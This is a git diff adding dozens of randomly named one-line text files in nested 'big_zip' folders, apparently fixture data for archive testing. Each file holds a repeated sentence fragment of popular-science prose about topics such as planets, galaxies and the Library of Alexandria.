diff --git a/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/file_alehidypyvwfvpsvpnmj.txt b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/file_alehidypyvwfvpsvpnmj.txt
new file mode 100644
index 0000000..abb43ad
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/file_alehidypyvwfvpsvpnmj.txt
@@ -0,0 +1 @@
+understand its causes. There are intellectual parallels between war and weather. Both are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/file_honkpzwe.txt b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/file_honkpzwe.txt
new file mode 100644
index 0000000..abb43ad
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/file_honkpzwe.txt
@@ -0,0 +1 @@
+understand its causes. There are intellectual parallels between war and weather. Both are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/file_ipndgbobbroaz.txt b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/file_ipndgbobbroaz.txt
new file mode 100644
index 0000000..abb43ad
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/file_ipndgbobbroaz.txt
@@ -0,0 +1 @@
+understand its causes. There are intellectual parallels between war and weather. Both are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/file_jaysvlpgoqhjmfm.txt b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/file_jaysvlpgoqhjmfm.txt
new file mode 100644
index 0000000..abb43ad
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/file_jaysvlpgoqhjmfm.txt
@@ -0,0 +1 @@
+understand its causes. There are intellectual parallels between war and weather. Both are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/file_lgqnpzsazsce.txt b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/file_lgqnpzsazsce.txt
new file mode 100644
index 0000000..abb43ad
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/file_lgqnpzsazsce.txt
@@ -0,0 +1 @@
+understand its causes. There are intellectual parallels between war and weather. Both are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/file_ouxasfpeccwh.txt b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/file_ouxasfpeccwh.txt
new file mode 100644
index 0000000..abb43ad
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/file_ouxasfpeccwh.txt
@@ -0,0 +1 @@
+understand its causes. There are intellectual parallels between war and weather. Both are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/file_vubrprjraxezmdjfasohdzbe.txt b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/file_vubrprjraxezmdjfasohdzbe.txt
new file mode 100644
index 0000000..abb43ad
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/file_vubrprjraxezmdjfasohdzbe.txt
@@ -0,0 +1 @@
+understand its causes. There are intellectual parallels between war and weather. Both are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/file_vxnkrjlonla.txt b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/file_vxnkrjlonla.txt
new file mode 100644
index 0000000..abb43ad
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/file_vxnkrjlonla.txt
@@ -0,0 +1 @@
+understand its causes. There are intellectual parallels between war and weather. Both are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/file_wgwamyigamqylkffopm.txt b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/file_wgwamyigamqylkffopm.txt
new file mode 100644
index 0000000..abb43ad
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/file_wgwamyigamqylkffopm.txt
@@ -0,0 +1 @@
+understand its causes. There are intellectual parallels between war and weather. Both are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/file_wphkshtwppczp.txt b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/file_wphkshtwppczp.txt
new file mode 100644
index 0000000..abb43ad
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/file_wphkshtwppczp.txt
@@ -0,0 +1 @@
+understand its causes. There are intellectual parallels between war and weather. Both are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/file_xhcsrimlhqs.txt b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/file_xhcsrimlhqs.txt
new file mode 100644
index 0000000..abb43ad
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/file_xhcsrimlhqs.txt
@@ -0,0 +1 @@
+understand its causes. There are intellectual parallels between war and weather. Both are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/file_cmqjnniwqmwtlzevdrdaq.txt b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/file_cmqjnniwqmwtlzevdrdaq.txt
new file mode 100644
index 0000000..e706c9e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/file_cmqjnniwqmwtlzevdrdaq.txt
@@ -0,0 +1 @@
+energy. Since the early 1960’s the U.S.S.R. has missed few such opportunities. Soviet
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/file_ejnopheofpruupquzzcmhet.txt b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/file_ejnopheofpruupquzzcmhet.txt
new file mode 100644
index 0000000..e706c9e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/file_ejnopheofpruupquzzcmhet.txt
@@ -0,0 +1 @@
+energy. Since the early 1960’s the U.S.S.R. has missed few such opportunities. Soviet
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/file_gxajcesstjw.txt b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/file_gxajcesstjw.txt
new file mode 100644
index 0000000..e706c9e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/file_gxajcesstjw.txt
@@ -0,0 +1 @@
+energy. Since the early 1960’s the U.S.S.R. has missed few such opportunities. Soviet
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/file_hdglmyvyrjtqylozvkmaom.txt b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/file_hdglmyvyrjtqylozvkmaom.txt
new file mode 100644
index 0000000..e706c9e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/file_hdglmyvyrjtqylozvkmaom.txt
@@ -0,0 +1 @@
+energy. Since the early 1960’s the U.S.S.R. has missed few such opportunities. Soviet
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/file_kbujlahcksjbkc.txt b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/file_kbujlahcksjbkc.txt
new file mode 100644
index 0000000..e706c9e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/file_kbujlahcksjbkc.txt
@@ -0,0 +1 @@
+energy. Since the early 1960’s the U.S.S.R. has missed few such opportunities. Soviet
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/file_npbcuxkhartqgiljlyqpt.txt b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/file_npbcuxkhartqgiljlyqpt.txt
new file mode 100644
index 0000000..e706c9e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/file_npbcuxkhartqgiljlyqpt.txt
@@ -0,0 +1 @@
+energy. Since the early 1960’s the U.S.S.R. has missed few such opportunities. Soviet
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/file_pvalghsbumogayygwekgvgh.txt b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/file_pvalghsbumogayygwekgvgh.txt
new file mode 100644
index 0000000..e706c9e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/file_pvalghsbumogayygwekgvgh.txt
@@ -0,0 +1 @@
+energy. Since the early 1960’s the U.S.S.R. has missed few such opportunities. Soviet
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/file_qczdxeoeyu.txt b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/file_qczdxeoeyu.txt
new file mode 100644
index 0000000..e706c9e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/file_qczdxeoeyu.txt
@@ -0,0 +1 @@
+energy. Since the early 1960’s the U.S.S.R. has missed few such opportunities. Soviet
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/file_qjhthgwhgmpzcwpxazixceuv.txt b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/file_qjhthgwhgmpzcwpxazixceuv.txt
new file mode 100644
index 0000000..e706c9e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/file_qjhthgwhgmpzcwpxazixceuv.txt
@@ -0,0 +1 @@
+energy. Since the early 1960’s the U.S.S.R. has missed few such opportunities. Soviet
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/file_tlywkazgoyodrhixudquck.txt b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/file_tlywkazgoyodrhixudquck.txt
new file mode 100644
index 0000000..e706c9e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/file_tlywkazgoyodrhixudquck.txt
@@ -0,0 +1 @@
+energy. Since the early 1960’s the U.S.S.R. has missed few such opportunities. Soviet
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/file_uuhctedrmxnyutrd.txt b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/file_uuhctedrmxnyutrd.txt
new file mode 100644
index 0000000..e706c9e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/file_uuhctedrmxnyutrd.txt
@@ -0,0 +1 @@
+energy. Since the early 1960’s the U.S.S.R. has missed few such opportunities. Soviet
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/file_wwkbpcrhficzhnvukd.txt b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/file_wwkbpcrhficzhnvukd.txt
new file mode 100644
index 0000000..e706c9e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/file_wwkbpcrhficzhnvukd.txt
@@ -0,0 +1 @@
+energy. Since the early 1960’s the U.S.S.R. has missed few such opportunities. Soviet
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/aijqsqvortqsnme.txt b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/aijqsqvortqsnme.txt
new file mode 100644
index 0000000..781f9d8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/aijqsqvortqsnme.txt
@@ -0,0 +1 @@
+thousands of connections with their neighbors. There are something like a hundred trillion,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/apikboltnrsifszyctqbs.txt b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/apikboltnrsifszyctqbs.txt
new file mode 100644
index 0000000..753cdcb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/apikboltnrsifszyctqbs.txt
@@ -0,0 +1 @@
+from a little above the freezing point around noon to about -80°C just before dawn, in an
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/file_brmlwsgtyouuvfrqwtgsiw.txt b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/file_brmlwsgtyouuvfrqwtgsiw.txt
new file mode 100644
index 0000000..cfd8cca
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/file_brmlwsgtyouuvfrqwtgsiw.txt
@@ -0,0 +1 @@
+enormous wealth to the acquisition of every Greek book, as well as works from Africa,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/file_cbftxitasqwr.txt b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/file_cbftxitasqwr.txt
new file mode 100644
index 0000000..cfd8cca
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/file_cbftxitasqwr.txt
@@ -0,0 +1 @@
+enormous wealth to the acquisition of every Greek book, as well as works from Africa,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/file_cwykdvehgpgsvzbscnh.txt b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/file_cwykdvehgpgsvzbscnh.txt
new file mode 100644
index 0000000..cfd8cca
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/file_cwykdvehgpgsvzbscnh.txt
@@ -0,0 +1 @@
+enormous wealth to the acquisition of every Greek book, as well as works from Africa,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/file_etkzadhtvev.txt b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/file_etkzadhtvev.txt
new file mode 100644
index 0000000..cfd8cca
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/file_etkzadhtvev.txt
@@ -0,0 +1 @@
+enormous wealth to the acquisition of every Greek book, as well as works from Africa,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/file_gzmclsnmr.txt b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/file_gzmclsnmr.txt
new file mode 100644
index 0000000..cfd8cca
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/file_gzmclsnmr.txt
@@ -0,0 +1 @@
+enormous wealth to the acquisition of every Greek book, as well as works from Africa,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/file_hnaowktgegjl.txt b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/file_hnaowktgegjl.txt
new file mode 100644
index 0000000..cfd8cca
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/file_hnaowktgegjl.txt
@@ -0,0 +1 @@
+enormous wealth to the acquisition of every Greek book, as well as works from Africa,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/file_kiviwrqgizzdtrnicqk.txt b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/file_kiviwrqgizzdtrnicqk.txt
new file mode 100644
index 0000000..cfd8cca
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/file_kiviwrqgizzdtrnicqk.txt
@@ -0,0 +1 @@
+enormous wealth to the acquisition of every Greek book, as well as works from Africa,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/file_klemjjzab.txt b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/file_klemjjzab.txt
new file mode 100644
index 0000000..cfd8cca
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/file_klemjjzab.txt
@@ -0,0 +1 @@
+enormous wealth to the acquisition of every Greek book, as well as works from Africa,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/file_mwvbtqbrfutxalqtsrf.txt b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/file_mwvbtqbrfutxalqtsrf.txt
new file mode 100644
index 0000000..cfd8cca
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/file_mwvbtqbrfutxalqtsrf.txt
@@ -0,0 +1 @@
+enormous wealth to the acquisition of every Greek book, as well as works from Africa,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/file_ocufdggysdchwhmjhbhectne.txt b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/file_ocufdggysdchwhmjhbhectne.txt
new file mode 100644
index 0000000..cfd8cca
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/file_ocufdggysdchwhmjhbhectne.txt
@@ -0,0 +1 @@
+enormous wealth to the acquisition of every Greek book, as well as works from Africa,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/file_qhxicmdhdk.txt b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/file_qhxicmdhdk.txt
new file mode 100644
index 0000000..cfd8cca
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/file_qhxicmdhdk.txt
@@ -0,0 +1 @@
+enormous wealth to the acquisition of every Greek book, as well as works from Africa,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/file_qxigyefkvavopqktdq.txt b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/file_qxigyefkvavopqktdq.txt
new file mode 100644
index 0000000..cfd8cca
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/file_qxigyefkvavopqktdq.txt
@@ -0,0 +1 @@
+enormous wealth to the acquisition of every Greek book, as well as works from Africa,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/file_qxwkcmhvripmgvndthujsup.txt b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/file_qxwkcmhvripmgvndthujsup.txt
new file mode 100644
index 0000000..cfd8cca
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/file_qxwkcmhvripmgvndthujsup.txt
@@ -0,0 +1 @@
+enormous wealth to the acquisition of every Greek book, as well as works from Africa,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/file_tqzhjhknucpyuq.txt b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/file_tqzhjhknucpyuq.txt
new file mode 100644
index 0000000..cfd8cca
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/file_tqzhjhknucpyuq.txt
@@ -0,0 +1 @@
+enormous wealth to the acquisition of every Greek book, as well as works from Africa,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/file_trxrlezczmsrtjodbjcr.txt b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/file_trxrlezczmsrtjodbjcr.txt
new file mode 100644
index 0000000..cfd8cca
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/file_trxrlezczmsrtjodbjcr.txt
@@ -0,0 +1 @@
+enormous wealth to the acquisition of every Greek book, as well as works from Africa,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/file_txcnxcmtfodetjr.txt b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/file_txcnxcmtfodetjr.txt
new file mode 100644
index 0000000..cfd8cca
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/file_txcnxcmtfodetjr.txt
@@ -0,0 +1 @@
+enormous wealth to the acquisition of every Greek book, as well as works from Africa,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/file_ucyiaiqrfnb.txt b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/file_ucyiaiqrfnb.txt
new file mode 100644
index 0000000..cfd8cca
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/file_ucyiaiqrfnb.txt
@@ -0,0 +1 @@
+enormous wealth to the acquisition of every Greek book, as well as works from Africa,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/file_vwxcmkvcnfhpkpv.txt b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/file_vwxcmkvcnfhpkpv.txt
new file mode 100644
index 0000000..cfd8cca
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/file_vwxcmkvcnfhpkpv.txt
@@ -0,0 +1 @@
+enormous wealth to the acquisition of every Greek book, as well as works from Africa,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/file_xtyobyblrmufmfgvnhqrkws.txt b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/file_xtyobyblrmufmfgvnhqrkws.txt
new file mode 100644
index 0000000..cfd8cca
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/file_xtyobyblrmufmfgvnhqrkws.txt
@@ -0,0 +1 @@
+enormous wealth to the acquisition of every Greek book, as well as works from Africa,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/file_yfntjsczu.txt b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/file_yfntjsczu.txt
new file mode 100644
index 0000000..cfd8cca
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/file_yfntjsczu.txt
@@ -0,0 +1 @@
+enormous wealth to the acquisition of every Greek book, as well as works from Africa,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/file_zgawurjrrsqejcgvrfodiwrd.txt b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/file_zgawurjrrsqejcgvrfodiwrd.txt
new file mode 100644
index 0000000..cfd8cca
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/file_zgawurjrrsqejcgvrfodiwrd.txt
@@ -0,0 +1 @@
+enormous wealth to the acquisition of every Greek book, as well as works from Africa,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/fjwobweubljbvetpkntig.txt b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/fjwobweubljbvetpkntig.txt
new file mode 100644
index 0000000..b351d55
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/fjwobweubljbvetpkntig.txt
@@ -0,0 +1 @@
+galactic dynamics occupy tens of millions of years, so the error in thinking of an image of a galaxy as frozen
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/ieelzidfmisllfdpbubd.txt b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/ieelzidfmisllfdpbubd.txt
new file mode 100644
index 0000000..af344e1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/ieelzidfmisllfdpbubd.txt
@@ -0,0 +1 @@
+English accent acquired during a single year as Rhodes scholar at Oxford. It was Hubble
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/jbogezyrmqxbftsqcmufvem.txt b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/jbogezyrmqxbftsqcmufvem.txt
new file mode 100644
index 0000000..7cf0445
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vutirmgutz/folder_xwvopunosc/folder_wmdiqdforf/folder_rvrkskfsnn/jbogezyrmqxbftsqcmufvem.txt
@@ -0,0 +1 @@
+planet, and it goes around the Sun. There are other planets. They also go around the Sun;
\ No newline at end of file
